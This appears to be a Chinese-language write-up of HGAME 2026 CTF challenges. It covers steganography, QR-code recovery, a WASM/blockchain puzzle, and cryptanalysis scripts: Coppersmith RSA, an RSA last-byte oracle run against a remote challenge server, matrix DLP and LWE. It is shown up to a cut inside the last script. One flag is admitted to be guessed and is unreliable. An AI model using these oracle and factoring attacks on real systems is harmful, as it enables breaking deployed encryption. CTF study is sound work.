
是寒假打的,忘发了,很有意思,也有难度的新生赛
复现:HGAME 2026 – Vidar-Team CTF 终端
Misc
打好基础
emoji是base100解码
然后还是随波逐流出的

还真要打好基础啊qwq
hgame{L4y_a_sO11d_f0unDaTi0n}
shiori不想找女友
给了一张图片和一个加密的zip,可以很明显地看出来图片里面嵌入了点阵,写个脚本提取一下
from PIL import Image
img = Image.open("shiori.png")
img = img.convert('RGB')
pixels = img.load()
w, h = img.size
start_x = 10
start_y = 10
step_x = 7
step_y = 7
column_num = 450
sampled_pixels = []
for y in range(start_y, h, step_y):
for x in range(start_x, w, step_x):
sampled_pixels.append(pixels[x, y])
total_pixels = len(sampled_pixels)
new_w = column_num
new_h = total_pixels // new_w
if new_h == 0:
print("提取的点数不足以组成一行。")
else:
res = Image.new('RGB', (new_w, new_h))
res_pixels = res.load()
for idx, color in enumerate(sampled_pixels):
i = idx % new_w
j = idx // new_w
if j < new_h:
res_pixels[i, j] = color
res.save("fixed_result.png")
print("保存成功!")
res.show()得到图片

用这个key去解压zip,得到shioriori_.png
随波逐流提取一下lsb,选择full alpha
(这里stegsolve提取的就是黑色,不太明白,但是其他位也能看出来)
[REDACTED]
查看黑色文字,得到1
1:PAR4D0X
下面还有一个黑色文字,显示
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21t YW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9.q ZPdEpOicqFGvSP4Oi4dLUxiBK9yu8sRcmikNxXxnsY
一个JWT,解密得到2

2:AllCl3arToPr0ceed
注意到一个图像上有3#,看一下lsb,RGB的第一位都能看出来,如果不清晰可以两张图片ADD在一起,会稍微好一些

另外直接提取图片好像能更清晰?
3:Sh4m1R
4用foremost提取一下文件,得到00000000.pdf,打开第一页发现4(可能是存放了修改记录)
4:D0cR3qu3st3r_Tutu
整合flag
hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}
Invest on Matrix
发现结构
首先得读懂题目,我们把一个25×25的矩阵分为25个1×1的小块,编号1~25,花费是等同于编号数量的pts
25×25的规整图形,我们肯定想到了同样尺寸的二维码,不妨先打开花费最小的1号矩阵
1 1 1 1 1 1 0 0 0 0 1 0 1 1 1 1 0 1 1 1 1 0 1 1 1
只有0和1,似乎和二维码是对应的
我们写个脚本转化成图形看看
S = "1 1 1 1 1 1 0 0 0 0 1 0 1 1 1 1 0 1 1 1 1 0 1 1 1"
s = "".join(S.split())
for i in range(5):
for j in range(5):
print(s[i*5+j],end = "")
print(" ",end = "")
print()结果如下:

这里我们需要知道的是二维码(QR code)的基本结构(可以参考这个博客学习)
这里借用一下图

如果还是不确定,那我们再打开qrazybox工具看一下
我们知道,左上角的第一号格子就是定位符的左上侧,这个矩阵是完全符合的

如图,调到25×25的version后,我们的左上角的定位符格子是确定的,且和题目给出的矩阵一致
那么我们需要做的就是补全这个二维码。
补全二维码
对于这题,要想做出来flag还是很容易的,就是买下所有的hint,然后转换为二维码解码即可。
但是,我们有更好的策略,即利用二维码的可纠错性(即Reed-Solomon 纠错算法)来通过尽量少的方块恢复二维码的信息
这是我解此题的代码,可见并没有开启所有hint
import numpy as np
from reedsolo import RSCodec, ReedSolomonError
def final_decode():
m = np.full((25, 25), -1)
def f(rs, cs, d):
for i, v in enumerate([int(x) for x in d.split()]):
m[rs + i // 5, cs + i % 5] = v
# 已购买的所有 Hint 数据
f(0, 0, "1 1 1 1 1 1 0 0 0 0 1 0 1 1 1 1 0 1 1 1 1 0 1 1 1") # 1
f(0, 5, "1 1 0 1 1 0 1 0 1 1 0 1 0 1 0 0 1 0 0 0 0 1 0 0 1") # 2
f(0, 10, "0 0 1 0 0 1 1 1 0 1 0 0 0 1 1 0 1 1 0 1 0 1 1 0 0") # 3
f(0, 15, "0 0 0 1 1 0 0 0 1 0 1 1 0 1 0 1 1 0 1 0 0 0 0 1 0") # 4
f(0, 20, "1 1 1 1 1 0 0 0 0 1 1 1 1 0 1 1 1 1 0 1 1 1 1 0 1") # 5
f(5, 15, "1 0 0 1 0 0 1 0 1 1 0 0 0 0 0 1 1 1 1 1 1 1 0 1 0") # 9
f(5, 10, "0 0 1 1 0 1 0 1 0 1 0 1 1 1 1 0 0 1 0 0 0 1 0 0 1") # 8
f(5, 5, "0 1 0 1 0 1 1 0 1 0 0 0 0 1 0 0 1 0 1 0 1 0 1 0 1") # 7
f(5, 20, "0 0 0 0 1 1 1 1 1 1 0 0 0 0 0 0 0 1 1 1 0 1 0 1 1") # 10
f(10, 10, "1 1 0 1 0 0 0 1 0 1 1 1 1 1 0 1 1 0 1 1 1 0 0 1 0") # 13
f(10, 15, "1 1 1 0 1 0 0 0 0 1 1 0 1 0 1 1 1 0 1 0 0 0 0 1 0") # 14
f(10, 20, "1 1 1 1 1 1 0 0 0 1 1 0 0 0 1 0 0 0 1 0 0 1 0 0 1") # 15
f(15, 15, "0 1 1 1 1 0 1 1 1 1 0 1 0 0 0 1 1 0 1 0 1 1 0 0 0") # 19
f(15, 20, "0 0 0 1 0 1 1 0 1 1 1 1 1 1 1 1 1 0 1 1 1 0 0 1 1") # 20
f(20, 0, "1 0 1 1 1 1 0 1 1 1 1 0 1 1 1 1 0 0 0 0 1 1 1 1 1") # 21
f(20, 15, "1 1 1 1 1 0 0 0 1 1 1 0 1 1 1 1 0 1 0 1 0 1 0 0 0") # 24
f(20, 20, "1 0 0 0 0 0 0 1 0 1 0 0 1 0 1 0 1 0 0 1 0 0 1 1 1") # 25
# 识别data
def is_data(r, c):
if r <= 8 and (c <= 8 or c >= 17): return False
if r >= 17 and c <= 8: return False
if r == 6 or c == 6: return False
if 16 <= r <= 20 and 16 <= c <= 20: return False
return True
def get_bits():
bits = ""
cols = []
curr_c = 24
while curr_c > 0:
if curr_c == 6: curr_c -= 1
cols.append((curr_c, curr_c - 1))
curr_c -= 2
for i, (c1, c2) in enumerate(cols):
rows = range(24, -1, -1) if i % 2 == 0 else range(25)
for r in rows:
for c in [c1, c2]:
if is_data(r, c):
val = m[r, c]
if val == -1: bits += "?"
else:
mask = 1 if (c % 3 == 0) else 0
bits += str(val ^ mask)
return bits
raw_bits = get_bits()
codewords = []
erasures_pos = []
# Version 2-M 总共 44 个 Codewords
for i in range(0, 44 * 8, 8):
byte_s = raw_bits[i:i+8]
if "?" in byte_s:
codewords.append(0)
erasures_pos.append(i // 8)
else:
codewords.append(int(byte_s, 2))
print(f"当前未知 Codewords 数量: {len(erasures_pos)}")
rs = RSCodec(16)
try:
try:
corrected = rs.decode(bytearray(codewords), erasures_pos=erasures_pos)[0]
except TypeError:
corrected = rs.decode(bytearray(codewords))[0]
full_bits = "".join([format(b, '08b') for b in corrected])
print("\n--- 成功恢复所有数据块 ---")
idx = 0
while idx < len(full_bits) - 4:
mode = full_bits[idx:idx+4]
if mode == "0000": break
if mode == "0100":
length = int(full_bits[idx+4:idx+12], 2)
content = ""
for i in range(length):
start = idx + 12 + i*8
content += chr(int(full_bits[start:start+8], 2))
print(f"【Byte数据段】: {content}")
idx += 12 + length*8
else:
idx += 4
except ReedSolomonError:
print("纠错仍然失败。")
# 如果还是失败,显示目前能解析出的原始片段
print("尝试解析已知片段:")
tmp_bits = raw_bits.replace("?", "0") # 暂时填0尝试解析
mode = tmp_bits[:4]
if mode == "0100":
length = int(tmp_bits[4:12], 2)
res = ""
for i in range(length):
b = tmp_bits[12+i*8:12+(i+1)*8]
res += chr(int(b, 2)) if '0' <= b <= '1' else '?'
print(f"已知前缀: {res}")
final_decode()(也可以试试qcrazybox的暴力破解,但是我没成功)
答案是:W0RTH_1T?
优化解法
那么,站在上帝视角看,是否有花费更少pts点数的策略呢?
我们先看一下25×25的结构

首先是三个角的定位区域(即1,5和21,以及旁边的2,4,5,6等等红色部分)我们无须解锁
蓝色部分是格式信息,也无需优先考虑
第二,根据二维码的生成规则,数据是从右下角开始填充,我们应该优先解锁中间和右下部分的含信息区域
与此同时,我们也要知道,越往左和越往上的提示便宜,所以如果能表示相同的信息,优先解锁左边和上方的信息
根据第二条规则,我们先解锁25,24和上面的19,20(根据第三条原则,我们先不解锁22,23)
然后可以再买个15,此时解码的答案是W0BTH_1T*,已经很接近了,再添加两个hint加上猜应该可以解出来
我目前尝试的最小值是:10+14+15+19+20+24+25 = 127 pts
hgame{W0RTH_1T?}
Vidar Token
看题目大概是一道区块链的信息搜集题
我们打开容器查看,connect Wallet失败,提示”浏览器钱包在非 HTTPS 环境无法直接连接 (>﹏<)“
不用着急,我们先打开源码看看
第一层提示:<!– maybe you need toolkit (。•̀ᴗ•́。) –>
不用管,继续看app.js
找到connectWallet函数
async function connectWallet() {
walletProvider = null;
walletStatusEl.classList.remove("active");
appContentEl.classList.add("locked");
appContentEl.classList.remove("unlocked");
vaultStatusEl.textContent = "浏览器钱包在非 HTTPS 环境无法直接连接 (>﹏<)";
}居然是骗我的😡!根本没有连接钱包的逻辑
再往下看,checkEligibility函数通过get方法获取了k.wasm文件,这是一种web端的“汇编语言”,运行速度非常快
(显示:尝试读取元数据)
那我们打开F12,在控制台中直接调用checkEligibility函数
checkEligibility();
元数据已就绪!我们已经加载了wasm文件
尝试调用tokenURI(0),看看开头是不是藏了有用的东西
(async () => {
const provider = new ethers.JsonRpcProvider(`${window.location.origin}/rpc`);
const vault = new ethers.Contract(
entranceAddress,
["function tokenURI(uint256) view returns (string)"],
provider
);
const result = await vault.tokenURI(0);
if (result.startsWith("data:application/json;base64,")) {
const json = atob(result.split("base64,")[1]);
console.log("【解码后的 JSON】:", json);
}
})();回显内容如下:
【解码后的 JSON】: {"name":"VidarPunks #0","description":"VidarPunks Vault NFT. Seek your fortune with VidarCoin.","attributes":[{"trait_type":"Linked Coin Address","value":"0xc5273abfb36550090095b1edec019216ad21be6c"}],"vidar_coin":"0xc5273abfb36550090095b1edec019216ad21be6c"}我们获得了NFT 的合约地址,下一步就是看看这个地址处有没有什么隐藏的信息。
我们尝试在这个实例中创建并调用可能的函数接口
(async () => {
const coinAddress = "0xc5273abfb36550090095b1edec019216ad21be6c";
const provider = new ethers.JsonRpcProvider(`${window.location.origin}/rpc`);
const coin = new ethers.Contract(
coinAddress,
[
"function name() view returns (string)",
"function symbol() view returns (string)",
"function flag() view returns (string)",
"function getFlag() view returns (string)",
"function secret() view returns (string)",
"function info() view returns (string)"
],
provider
);
try { console.log("Name:", await coin.name()); } catch(e) {}
try { console.log("Symbol:", await coin.symbol()); } catch(e) {}
try { console.log("Flag 函数:", await coin.flag()); } catch(e) {}
try { console.log("getFlag 函数:", await coin.getFlag()); } catch(e) {}
try { console.log("Secret:", await coin.secret()); } catch(e) {}
try { console.log("Info:", await coin.info()); } catch(e) {}
})();回显
Name: VidarCoin
Symbol:
0x6960606a647c7458356534686d7255344d5e5e6c6f48562a64754258564734502c7d5b5d303635326764607a这个symbol很可疑,我们先from hex,并没有发现异常,继续寻找其他线索
我们在wasm中导出所有功能
(async () => {
const res = await fetch("/wasm/k.wasm");
const wasm = await res.arrayBuffer();
const { instance } = await WebAssembly.instantiate(wasm, {});
console.log("WASM 导出的所有功能:", Object.keys(instance.exports));
})();
// WASM 导出的所有功能: (5) ['memory', 'get_entrance', 'get_basea', 'get_baseb', 'decrypt_logic']get_basea和get_baseb很可以,查看一下函数逻辑
(async () => {
const res = await fetch("/wasm/k.wasm");
const wasm = await res.arrayBuffer();
const { instance } = await WebAssembly.instantiate(wasm, {});
const { memory, get_basea, get_baseb } = instance.exports;
function readStr(ptr) {
const bytes = new Uint8Array(memory.buffer, ptr, 100);
let s = "";
for (let i = 0; i < bytes.length && bytes[i] !== 0; i++) s += String.fromCharCode(bytes[i]);
return s;
}
console.log("Base A 内容:", readStr(get_basea()));
console.log("Base B 内容:", readStr(get_baseb()));
})();
// BASEA=0x5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d5b5d
// BASEB=0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a这两个base能很明显的看出是人为构造的痕迹,那么我们用symbol去和这两个值异或

很像flag了!但是这是flag吗?我们提交发现并不是
接下来有两种方法:
第一种,我们可以在开发者工具-源代码中看到k.wasm的源代码,可以选择直接根据代码逆向,也可以用wasm的分析工具(题目提示的toolkit)去做

不过这里的逻辑似乎有动态生成的部分,静态逆向似乎比较困难
第二种方法就是猜flag
对于hgame{u_4b5oluT3LY_knOW-erC_W@5W-zZZ1145fca},把leet重新转换为可读的文本
4b5oluT3LY -> absolutely
knOW -> know
erC -> erc
W@5W -> WASM (联想wasm)
-zZZ1145fca -> -zZZ114514 (这里带点脑洞,联想114514梗)hgame{u_absolutely_know-erc_WASM-zZZ114514}
Crypto
Classic
脚本是个泄露的rsa,sagemath跑一下,找到p,q后解密
n = 103581608824736882681702548494306557458428217716535853516637603198588994047254920265300207713666564839896694140347335581147943392868972670366375164657970346843271269181099927135708348654216625303445930822821038674590817017773788412711991032701431127674068750986033616138121464799190131518444610260228947206957
leak = 6614588561261434084424582030267010885893931492438594708489233399180372535747474192128
# p 的高位部分
p_high = leak << 230
# 定义多项式环
R. = PolynomialRing(Zmod(n))
f = p_high + x
# X 是未知数 x 的上限 (2^230)
# beta 是因子 p 与 n 的关系,p 约等于 n^0.5
# epsilon 决定了格的维度,值越小维度越高,成功率越高但速度越慢
roots = f.small_roots(X=2^230, beta=0.5, epsilon=0.03)
if roots:
p = int(p_high + roots[0])
q = n // p
print(f"p = {p}")
print(f"q = {q}")
else:
print("没有找到根")
# p = 11413053109552188507052666630091285760873067504449985234054655694908075994350969330957385458253490012573212730089010386220127731924243642741330801109560321
q = 9075714257216936041471751581319372285801752888242856409996664051016123816666147418448561351537903409502906982392981597055642549139310510542976848080201517from Crypto.Util.number import long_to_bytes
p = 11413053109552188507052666630091285760873067504449985234054655694908075994350969330957385458253490012573212730089010386220127731924243642741330801109560321
q = 9075714257216936041471751581319372285801752888242856409996664051016123816666147418448561351537903409502906982392981597055642549139310510542976848080201517
e = 65537
c = 38164947954316044802514640871285562707869793354907165622336840432488893861610651450862702262363481097538127040490478908756416851240578677195459996252755566510786486707340107057971217557295217072867673485369358370289506549932119879791474279677563080377456592139035501163534305008864900509896586230830001710243
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(f"Decrypted integer m: {m}")
print(f"{long_to_bytes(m).decode()}")
# Vigenere,key=hgame发现是维吉尼亚密码,key是hgame,直接在线网站解密得:
The Vigenère cipher was not invented by Vigenère; it was first proposed in 1553 by the Italian Giovan Battista Bellaso, yet it was named after Vigenère due to his 1586 improvements, leaving Bellaso wrongly credited for three centuries.
It used a key to cycle through 26 Caesar alphabets like a deck of cards, earning it the title of "the unbreakable cipher."
In the 19th century, Babbage exposed its periodic weakness, delivering a fatal blow that ended its two-century-long myth.
anyway,I hope you would like classical cryptography。This is your flag:VIDAR{The Collision of the New and the Old}VIDAR{The Collision of the New and the Old}
Flux
看一下代码,是一个二次同余生成器,我们先构造一个a,b,c线性方程组,反推出a,b,c
之后再反推状态找出上一状态h,再用z3库爆破key
from Crypto.Util.number import inverse, long_to_bytes
from z3 import *
import sympy
data = [259574080588277578527410299002867735023798216356763871244908783144610527451187,
954408432127642232121971189554605898975195279656270435479524132958262607464595,
902461413507524665418054778947872375987908929501605791883614896110219051835312,
92554599789649828855418140915311664257163346975111310560999959858873425332254]
n = 1000081851369905197391900354119969103949357074708517572641608490670646955240669
x1, x2, x3, x4 = data
def get_flux_params():
m11 = (x2**2 - x1**2) % n
m12 = (x2 - x1) % n
r1 = (x3 - x2) % n
m21 = (x3**2 - x2**2) % n
m22 = (x3 - x2) % n
r2 = (x4 - x3) % n
det = (m11 * m22 - m12 * m21) % n
inv_det = pow(det, -1, n)
a = (inv_det * (r1 * m22 - m12 * r2)) % n
b = (inv_det * (m11 * r2 - r1 * m21)) % n
c = (x2 - a * x1**2 - b * x1) % n
return a, b, c
def get_h(a, b, c):
target = (b**2 - 4*a*(c-x1)) %
roots = sympy.ntheory.sqrt_mod(target, n, all_roots=True)
inv_2a = pow(2 * a, -1, n)
for r in roots:
h = ((-b + r) * inv_2a) % n
if (a * h**2 + b * h + c) % n == x1:
return h
return None
def recover_key(target_h):
s = Solver()
k = BitVec('k', 256)
s.add(k > 0)
s.add(k < (1 << 70))
value = "Welcome to HGAME 2026!"
mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
x = BitVecVal((ord(value[0]) << 7) & mask, 256)
for char in value:
x = (k * x) ^ ord(char)
final_h = x ^ len(value)
s.add(final_h == target_h)
if s.check() == sat:
m = s.model()
return m[k].as_long()
else:
return None
def get_final_shash(value, key):
mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
x = (ord(value[0]) << 7) & mask
for c in value:
x = (key * x) & mask ^ ord(c)
x ^= len(value) & mask
return x
try:
a, b, c = get_flux_params()
h_val = get_h(a, b, c)
if h_val is None:
print("[-] 未找到合适的 h 值")
exit()
key_val = recover_key(h_val)
if key_val:
print(f"[+] 成功还原 Key: {key_val}")
magic_word = "I get the key now!"
flag_h = get_final_shash(magic_word, key_val)
print(f"\n[!] Flag: VIDAR{{{hex(flag_h)[2:]}}}")
else:
print("[-] Key 还原失败")
except Exception as e:
print(f"[-] 运行出错: {e}")
# Key = 860533
# VIDAR{1069466028b4c4a9694a3175f2f9410ab398b939bdb52afb39534b6f8cc59abc}ezRSA
先恢复n和e,再利用LSB Oracle 漏洞解
from pwn import *
from Crypto.Util.number import *
import base64
io = remote('1.116.118.188', 31834)
def decrypt(c):
io.sendlineafter(b"Your choice > ", b"2")
# 注意这里匹配到换行符,确保缓冲区干净
io.sendlineafter(b"ciphertext:\n", str(c).encode())
res = io.recvline().strip()
return base64.b64decode(res)
def encrypt(p, x):
io.sendlineafter(b"Your choice > ", b"1")
io.sendlineafter(b"plaintext:\n", str(p).encode())
io.sendlineafter(b"flip:\n", str(x).encode())
res = io.recvline().strip()
return base64.b64decode(res)
# 1. 准确恢复 n
print("[*] Recovering n...")
m2 = bytes_to_long(decrypt(2))
m4 = bytes_to_long(decrypt(4))
m3 = bytes_to_long(decrypt(3))
m9 = bytes_to_long(decrypt(9))
# n 是 m^2 - (m^2 mod n) 的公约数
n = GCD(m2**2 - m4, m3**2 - m9)
# 如果得到的 n 太大(是 n 的倍数),可以通过除以小素数简化,
# 但通常 GCD(2组) 就能直接得到 n
while n % 2 == 0: n //= 2
print(f"[+] Recovered n: {n}")
# 2. 恢复 e
print("[*] Recovering e...")
# 选择一个足够大的 x (e 只有 50 位)
x_test = 60
c60 = bytes_to_long(encrypt(2, x_test))
# 2^(e ^ 2^60) = 2^(e + 2^60) = 2^e * 2^(2^60)
two_e = (c60 * pow(pow(2, 1 << x_test, n), -1, n)) % n
e = 0
for i in range(50):
ci = bytes_to_long(encrypt(2, i))
# 如果 e 的第 i 位是 0, 则 2^(e ^ 2^i) = 2^e * 2^(2^i)
if ci == (two_e * pow(2, 1 << i, n)) % n:
pass
else:
e |= (1 << i)
print(f"[+] Recovered e: {e}")
# 3. 获取 Flag 密文并触发 safe=False
io.sendlineafter(b"Your choice > ", b"3")
c_flag = bytes_to_long(base64.b64decode(io.recvline().strip()))
print(f"[+] Got flag ciphertext. Safe mode is now OFF.")
# 4. Last Byte Oracle 攻击
# 原理:disguise 后的最后一个字节是真实的 (m * 256^k % n) % 256
low = 0
high = n
n_inv = pow(n, -1, 256)
print("[*] Starting Last Byte Oracle...")
# 1024位 / 8位每字节 = 128次迭代
for k in range(1, 130):
# 构造密文使明文扩大 256^k 倍
target_c = (c_flag * pow(256**k, e, n)) % n
# 这里的 decrypt 会调用 disguise,最后一个字节是原字节
res_disguised = decrypt(target_c)
if not res_disguised:
last_byte = 0
else:
last_byte = res_disguised[-1]
# 计算这一步减去了多少个 n (商 q)
# 256 * m_prev = q*n + m_curr => m_curr = -q*n (mod 256)
q = ((-last_byte) * n_inv) % 256
# 收缩范围
diff = high - low
new_low = low + (q * diff) // 256
new_high = low + ((q + 1) * diff) // 256
low, high = new_low, new_high
if k % 20 == 0:
# 打印当前最高位可能的字符串
print(f"Iter {k}: {long_to_bytes(high)}")
# 最终结果
flag = long_to_bytes(high)
print(f"\n[!] Flag: {flag}")hgame{E2r54_lS_StI1l_PrettY-e2,rlgHt?937315}
ezDLP
首先对模数nn进行质因数分解,利用行列式性质
det(Ak)=(detA)k≡detB(modp)det(Ak)=(detA)k≡detB(modp)
将原矩阵方程转化为简单的模幂方程;随后在各素因子的乘法群中求解标量离散对数得到kk的残余系,并通过CRT还原出隐藏的指数kk(即 AES 密钥的种子),最后利用 MD5 哈希派生密钥并解密
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import hashlib
from base64 import b64decode
import json
from urllib.request import urlopen
def get_factors_from_factordb(n):
print(f"[*] 正在尝试从 FactorDB 查询 n 的因子...")
try:
url = f"http://factordb.com/api?query={n}"
with urlopen(url, timeout=15) as response:
data = json.loads(response.read().decode())
factors = []
for f_str, count in data.get('factors', []):
p = int(f_str)
for _ in range(count):
factors.append(p)
prod = 1
for x in factors: prod *= x
if prod == n:
print("[+] 成功从 FactorDB 获取并验证因子!")
return sorted(factors)
else:
return []
except Exception as e:
print(f"[-] FactorDB 查询失败: {e}")
return []
def solve():
print("加载数据...")
try:
data = load('data.sobj')
n, a, b = data
print(f"[+] n 加载成功 (位长: {n.nbits()})")
except Exception as e:
print(f"[-] 失败: {e}")
return
# 1. 分解
print("-" * 60)
factors_list = get_factors_from_factordb(n)
if not factors_list:
print("[!] 请手动分解 n 或检查网络。")
# 如果网络失败,请在这里手动填入 factor(n) 的结果
# factors_list = [p1, p2]
return
from collections import Counter
factors_summary = list(Counter(factors_list).items())
# 2. 求解 DLP (优先使用行列式法)
print("-" * 60)
print("步骤 2: 求解 DLP (Determinant Method)")
k_remainders = []
k_moduli = []
for p_val, exponent in factors_summary:
p = Integer(p_val)
print(f"\n[*] 处理素因子 p (位长: {p.nbits()})...")
try:
F = GF(p)
# 计算行列式
det_A = F(a.change_ring(F).det())
det_B = F(b.change_ring(F).det())
print(f" det(A) = {det_A}")
print(f" det(B) = {det_B}")
if det_A == 0:
print(" [-] det(A) 为 0,无法使用此方法。")
continue
if det_A == 1:
print(" [-] det(A) 为 1,无法提取信息 (k 可以是任意值)。")
# 如果行列式法失败(阶为1),才尝试特征值法
# 但这里为了简洁,先假设行列式有效
continue
# 求解 DLP: det(A)^k = det(B) mod p
# 这实际上是在群 GF(p)* 中求解
order = det_A.multiplicative_order()
print(f" 乘法阶 (Order): {order}")
print(f" Order 位长: {order.nbits()}")
print(" 正在计算 discrete_log (行列式法)...")
# 这是一个标量 DLP,比矩阵 DLP 快得多
k_val = discrete_log(det_B, det_A, order)
print(f" [+] 成功! k = {k_val} (mod {order})")
k_remainders.append(k_val)
k_moduli.append(order)
except Exception as e:
print(f" [-] 发生错误: {e}")
print(" [!] 尝试备用方案: 特征值法 (仅在基域)...")
# 备用:之前的特征值法(仅当结果在基域时)
try:
F = GF(p)
Ap = a.change_ring(F)
Bp = b.change_ring(F)
lam = Ap.eigenvalues()[0]
# 寻找对应的特征向量略... 简化处理,直接假设第一个特征值有效
# 需要重新匹配 lam^k = mu
# 这里略过复杂实现,因为行列式法通常对随机矩阵都有效
except:
pass
if not k_remainders:
print("\n[-] 失败: 未能恢复 k。")
return
# 3. CRT 合并
print("-" * 60)
try:
k_base = crt(k_remainders, k_moduli)
k_period = lcm(k_moduli)
print(f"[+] CRT 合并完成。")
print(f" k_base = {k_base}")
print(f" 模数 (Period) 位长: {k_period.nbits()}")
except Exception as e:
print(f"[-] CRT 错误: {e}")
return
# 4. 解密
print("-" * 60)
print("[*] 正在搜索 k 并解密...")
ciphertext = b64decode("ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy")
# 模数通常是 (p1-1)/2 * (p2-1)/2 约等于 n/4,大约 1072 位
# k 是 1000 位。
# 所以 k = k_base 或 k = k_base + k_period (如果 k_base 很小)
candidates = [k_base]
# 如果 CRT 结果比 k_period 小很多,多加几个周期试试
for i in range(5):
candidates.append(k_base + (i+1) * k_period)
found = False
for cand in candidates:
if cand.nbits() < 950: continue
print(f" Checking k candidate (bits: {cand.nbits()})...")
if is_prime(cand):
try:
key = hashlib.md5(long_to_bytes(int(cand))).digest()
cipher = AES.new(key, AES.MODE_ECB)
pt = cipher.decrypt(ciphertext)
if b"flag" in pt or b"{" in pt:
try:
flag = unpad(pt, AES.block_size)
print("\n" + "#"*50)
print(f"FLAG: {flag.decode()}")
print("#"*50 + "\n")
found = True
break
except:
pass
except Exception:
continue
if not found:
print("[-] 未自动找到 Flag。请检查 k_base 是否正确。")
if __name__ == '__main__':
solve()hgame{1s_m@trix_d1p_rEal1y_sImpLe??}
Decision
利用LLL,检查加密噪声并还原,sage跑一下
# sage -python solve.py
import ast
from sage.all import *
# 来自题目末尾注释(task.py 里给出的 q)
q = 256708627612544299823733222331047933697
n = 25
m = 15
def center(x):
x = int(x) % q
if x > q//2:
x -= q
return x
# 读 output
enc = ast.literal_eval(open("output", "rb").read().decode())
# enc: 200 blocks, each block: 15 tuples, each tuple len=26
def short_dual_y(samples):
"""
samples: list of tuples length n+1, total M samples (e.g. 30)
return: short integer vector y in Z^M s.t. A^T y = 0 (mod q)
"""
M = len(samples)
A = Matrix(GF(q), [s[:n] for s in samples]) # M x n over GF(q)
AT = A.transpose() # n x M
# kernel over GF(q)
K = AT.right_kernel().basis_matrix() # d x M, d ~= M-n
# lift to ZZ
KZ = Matrix(ZZ, [[center(x) for x in row] for row in K])
# build lattice basis: span(KZ rows) + q*I_M
B = KZ.stack(q * identity_matrix(ZZ, M))
# LLL to get short vector
L = IntegerLattice(B, lll_reduce=True)
y = vector(ZZ, L.reduced_basis()[0]) # take shortest
return y
def score(samples):
"""
smaller score => more likely LWE
"""
M = len(samples)
b = [int(s[n]) for s in samples]
y = short_dual_y(samples)
t = sum(y[i] * b[i] for i in range(M)) % q
return abs(center(t))
# ---------- Step A: 找一个 reference 块(一定是 bit=1 的那种) ----------
# 方法:扫描相邻块 i,i+1,合并后若 score 特别小,说明两块都为 1
best_i = None
best_sc = None
for i in range(199):
sc = score(enc[i] + enc[i+1]) # 30 samples
if best_sc is None or sc < best_sc:
best_sc = sc
best_i = i
ref = enc[best_i] # 认为 ref 这块是 LWE(=1)
# 也可以用 enc[best_i+1],都行
print("[+] reference index:", best_i, "best_sc:", best_sc)
# ---------- Step B: 用 reference 去判每个块 ----------
scores = [score(ref + enc[i]) for i in range(200)]
sorted_sc = sorted(scores)
# 通常会出现两簇,取一个“中间阈值”即可
# 这里给一个很实用的自动阈值:取第 100 个和第 101 个的几何平均
# (如果你的 1/0 比例偏斜,可以改分位点)
T = ZZ(sqrt(sorted_sc[99] * sorted_sc[100]))
print("[+] threshold T =", T)
bits = ['1' if s < T else '0' for s in scores]
bitstr = ''.join(bits)
# ---------- Step C: bits -> bytes(注意 little-endian) ----------
val = int(bitstr, 2)
msg = val.to_bytes(25, "little")
flag = b"hgame{" + msg + b"}"
print(flag)eezzdlp
先恢复一下p,再求k,最后AES解密
from sage.all import *
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from base64 import b64decode
import sys
def solve():
print("[+] Loading data...")
data = load("data.sobj")
n, a, b = data[0], data[1], data[2]
# 1. 分解 n = p^2 得到 p
p = isqrt(int(n))
assert p**2 == n
print(f"[+] Found p (bits: {int(p).bit_length()})") # 修复这里的报错
# 2. 找到指数 L,使得 A^L = I (mod p)
F = GF(p)
d = a.nrows()
A_F = Matrix(F, d, d, [F(int(val)) for val in a.list()])
print("[+] Computing characteristic polynomial...")
f_A = A_F.charpoly()
L = 1
for factor, mult in f_A.factor():
deg = factor.degree()
L = lcm(L, int(p**deg - 1))
if mult > 1:
L *= int(p)
print(f"[+] Computed order exponent L")
# 3. 计算 p-adic 对数
print("[+] Computing A^L and b^L mod p^2...")
A_L = a**L
b_L = b**L
print("[+] Extracting k_p = k mod p...")
I = Matrix.identity(Zmod(n), d)
M_p2 = A_L - I
M_list = [ (int(x) // int(p)) % int(p) for x in M_p2.list() ]
M = Matrix(F, d, d, M_list)
b_M_p2 = b_L - I
b_M_list = [ (int(x) // int(p)) % int(p) for x in b_M_p2.list() ]
b_M = Matrix(F, d, d, b_M_list)
k_p = None
for i in range(d):
for j in range(d):
if M[i,j] != 0:
k_p = int(b_M[i,j] / M[i,j])
break
if k_p is not None:
break
if k_p is None:
print("[-] Error: M is zero matrix!")
return
print(f"[+] Found k_p (k mod p) = {k_p}")
# 4. 构建扩域寻找特征值并求解 k 的高位 m
print("[+] Setting up extension field to find eigenvalues...")
g, h = None, None
for f_i, mult in f_A.factor():
deg = f_i.degree()
if deg == 1:
K = F
x_val = -f_i[0]
print("[+] Found eigenvalue in GF(p)")
else:
K = GF(p**deg, 'x', modulus=f_i)
x_val = K.gen()
print(f"[+] Found eigenvalue in GF(p^{deg})")
A_K = Matrix(K, d, d, [K(int(val)) for val in a.list()])
B_K = Matrix(K, d, d, [K(int(val)) for val in b.list()])
# 寻找与该特征值对应的特征向量
ker = (A_K - x_val * Matrix.identity(K, d)).right_kernel()
v = ker.basis()[0]
u = B_K * v
lambda_B = None
for i in range(d):
if v[i] != 0:
lambda_B = u[i] / v[i]
break
lambda_A = x_val
g_cand = lambda_A**int(p)
h_cand = lambda_B / (lambda_A**k_p)
if g_cand != 1:
g, h = g_cand, h_cand
break
if g is None:
